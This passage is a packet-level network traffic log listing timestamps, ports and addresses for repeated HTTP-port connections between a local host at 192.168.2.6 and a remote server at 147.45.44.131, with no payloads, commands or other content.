Jan 2, 2025 19:14:17.616543055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616549015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616554976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616616011 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616616011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616622925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616628885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616633892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616640091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616647005 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616667032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616703033 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616710901 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.617000103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.624540091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624547958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624552965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624558926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624566078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624583006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624599934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624605894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624612093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624617100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624623060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624628067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624634027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624636889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.624639988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624645948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624658108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.624702930 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.624806881 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.628511906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628516912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628541946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628673077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.628676891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628683090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628689051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628695011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628700018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628812075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628817081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628822088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628834963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628839016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628844976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628850937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628854036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.628858089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628863096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628870010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628985882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628992081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.628998995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629004002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629019022 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629163027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629168987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629203081 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629316092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629374981 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629472971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629487038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629534960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629679918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629686117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629692078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629697084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629702091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629709005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629772902 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629772902 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.629831076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.629837990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630126953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630140066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630146027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630151033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630156994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630162001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630168915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630172014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630177975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630183935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630189896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630301952 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.630392075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630397081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630402088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630408049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630413055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630418062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630424023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630429029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630495071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630531073 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.630656958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630661964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630666971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630677938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630683899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630688906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630693913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630698919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630705118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630709887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.630820990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.631304026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631310940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631321907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631593943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631608009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631613970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631613970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.631619930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631627083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.631666899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.631666899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632083893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632256031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632261038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632266998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632278919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632318974 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632364988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632370949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632376909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632381916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632383108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632388115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632392883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632397890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632409096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632438898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632438898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632438898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632530928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632538080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632551908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632555962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.632592916 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.632725954 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.639069080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639075994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639081001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639236927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.639324903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639338970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639344931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639349937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639355898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639399052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639413118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639416933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639422894 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.639431000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639439106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639444113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639451027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639461040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639467001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.639547110 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.639547110 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.640213013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.640218019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.640227079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.640305042 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.640372992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.640894890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641005993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641011953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641017914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641028881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641324043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641330004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641335964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641336918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641437054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641449928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641455889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641460896 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641465902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641470909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641470909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641475916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641482115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641485929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641491890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641498089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641508102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641522884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641530037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641532898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641532898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641535997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641546965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641552925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641560078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641565084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641571045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641581059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641586065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641597986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641597986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641629934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641629934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.641911030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641916990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641923904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641928911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641933918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641940117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641946077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641952038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.641967058 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642056942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642056942 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642070055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642076015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642081976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642086983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642091990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642098904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642108917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642115116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642119884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642126083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642131090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642136097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642143011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642173052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642173052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642173052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642234087 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642379999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642393112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642399073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642405033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642410994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642415047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642426014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642432928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642440081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642445087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642499924 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642527103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642541885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642548084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642549038 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642554045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642610073 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642658949 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642688036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642695904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642700911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642705917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642715931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642721891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642728090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642734051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642739058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642743111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642748117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642751932 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642751932 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642754078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642791033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642797947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642797947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642803907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642816067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642823935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642828941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642833948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642838001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642843962 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642848969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.642874002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.642957926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643002987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643090010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643095970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643106937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643112898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643117905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643124104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643129110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643135071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643141031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643146038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643151045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643152952 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643157005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643161058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643162012 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643168926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643177032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643177032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643178940 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643191099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643203020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643207073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643210888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643212080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643218994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643228054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643234015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643237114 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643239021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643244982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643246889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643249989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643265963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643266916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643310070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643333912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643340111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643345118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643348932 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643351078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643357038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643378019 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643488884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643495083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643527031 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643580914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643784046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643799067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643805981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643810987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643824100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643829107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643836021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643838882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643841982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643847942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643857956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643871069 CET	49734	80	192.168.2.6	147.45.44.131
